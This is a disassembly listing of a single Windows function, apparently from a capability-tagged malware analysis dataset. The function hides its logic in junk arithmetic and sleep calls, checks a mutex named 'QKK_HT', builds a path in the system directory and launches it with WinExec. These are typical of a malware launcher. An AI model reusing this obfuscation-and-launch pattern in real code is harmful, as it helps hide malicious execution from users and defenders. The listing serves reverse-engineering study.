Function at 0x10001348
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push ebx
push esi
push edi
mov ebx, 0x22b718a
add ebx, 0x3efc
add ebx, 0x4d30
xor ebx, 0x25fa
xor ebx, 0x372a
push 0x1b58
call sub.CRTDLL.DLL_srand
mov eax, ebx
add eax, ebx
mov ebx, eax
mov eax, 0x5edc
mul ebx
mov dword [ebp - 0x11c], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
add ebx, 0x2fa7
mov eax, ebx
sub eax, ebx
mov ebx, eax
sub eax, ebx
mov ebx, eax
add ebx, 0x239a
sub ebx, 0x5a83
add ebx, 0x7bd5
push 0xa
call sub.CRTDLL.DLL__sleep
sub ebx, 0x7a0a
add ebx, 0x17e1
xor ebx, 0x5298
xor ebx, 0x6ef8
add ebx, 0x617e
push 0xa
call sub.CRTDLL.DLL__sleep
add esp, 0xc
push str.QKK_HT
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
mov dword [ebp - 0x118], eax
or eax, eax
je 0x1000149e
mov eax, ebx
sub eax, ebx
mov ebx, eax
xor eax, ebx
mov ebx, eax
xor ebx, 0xc3b
call sub.KERNEL32.DLL_GetCurrentProcessId
xor ebx, 0x6635
mov eax, ebx
add eax, ebx
mov ebx, eax
add eax, ebx
mov ebx, eax
xor eax, ebx
mov ebx, eax
push 0xa
call sub.CRTDLL.DLL__sleep
pop ecx
mov eax, ebx
xor eax, ebx
mov ebx, eax
xor eax, ebx
mov ebx, eax
push dword [ebp - 0x118]
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0x1aac
mul ebx
mov dword [ebp - 0x120], eax
mov ebx, eax
sub ebx, 0x1558
mov eax, ebx
xor eax, ebx
mov ebx, eax
xor ebx, 0x7008
add ebx, 0x6774
add ebx, 0x272f
mov eax, ebx
add eax, ebx
mov ebx, eax
add eax, ebx
mov ebx, eax
xor ebx, 0x4cd
mov eax, 0x459b
mul ebx
mov dword [ebp - 0x124], eax
mov ebx, eax
xor eax, eax
inc eax
jmp 0x1000168b
xor ebx, 0x3c77
mov eax, ebx
add eax, ebx
mov ebx, eax
sub ebx, 0x34e4
sub ebx, 0x7a3f
mov eax, ebx
sub eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x120], eax
mov ebx, eax
xor ebx, 0x6a1b
mov eax, ebx
mul ebx
mov dword [ebp - 0x124], eax
mov ebx, eax
mul ebx
mov dword [ebp - 0x128], eax
mov ebx, eax
lea edi, [ebp - 0x114]
lea esi, str.Gckkhnbk
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
xor ebx, 0x41cf
mov eax, ebx
sub eax, ebx
mov ebx, eax
mov eax, 0x7ac5
mul ebx
mov dword [ebp - 0x12c], eax
mov ebx, eax
sub ebx, 0x6955
mov eax, 0x72a7
mul ebx
mov dword [ebp - 0x130], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
mov eax, 0x2f1c
mul ebx
mov dword [ebp - 0x134], eax
mov ebx, eax
xor ebx, 0x6290
mov eax, ebx
xor eax, ebx
mov ebx, eax
sub ebx, 0x53c
add ebx, 0x7aab
push 0x104
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
add ebx, 0x2c95
mov eax, ebx
mul ebx
mov dword [ebp - 0x138], eax
mov ebx, eax
xor ebx, 0x13bd
add ebx, 0x4622
mov eax, ebx
sub eax, ebx
mov ebx, eax
xor ebx, 0x64a3
mov eax, ebx
xor eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x13c], eax
mov ebx, eax
mov eax, 0x1a1
mul ebx
mov dword [ebp - 0x140], eax
mov ebx, eax
mov eax, 0x3e3c
mul ebx
mov dword [ebp - 0x144], eax
mov ebx, eax
add eax, ebx
mov ebx, eax
mov eax, 0x32f
mul ebx
mov dword [ebp - 0x148], eax
mov ebx, eax
push 0x100030a0
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_strcat
mov eax, 0x5ef1
mul ebx
mov dword [ebp - 0x14c], eax
mov ebx, eax
sub ebx, 0xa38
sub ebx, 0x7910
mov eax, ebx
xor eax, ebx
mov ebx, eax
add ebx, 0x21c8
mov eax, ebx
add eax, ebx
mov ebx, eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 0x10
xor ebx, 0x7310
mov eax, 0x72c5
mul ebx
mov dword [ebp - 0x150], eax
mov ebx, eax
sub ebx, 0x3b6d
push 1
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_WinExec
add ebx, 0x73df
add ebx, 0x39eb
xor ebx, 0x5e4d
mov eax, ebx
sub eax, ebx
mov ebx, eax
mul ebx
mov dword [ebp - 0x154], eax
mov ebx, eax
sub eax, ebx
mov ebx, eax
mov eax, 0x52eb
mul ebx
mov dword [ebp - 0x158], eax
mov ebx, eax
sub eax, ebx
mov ebx, eax
xor ebx, 0x43e
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc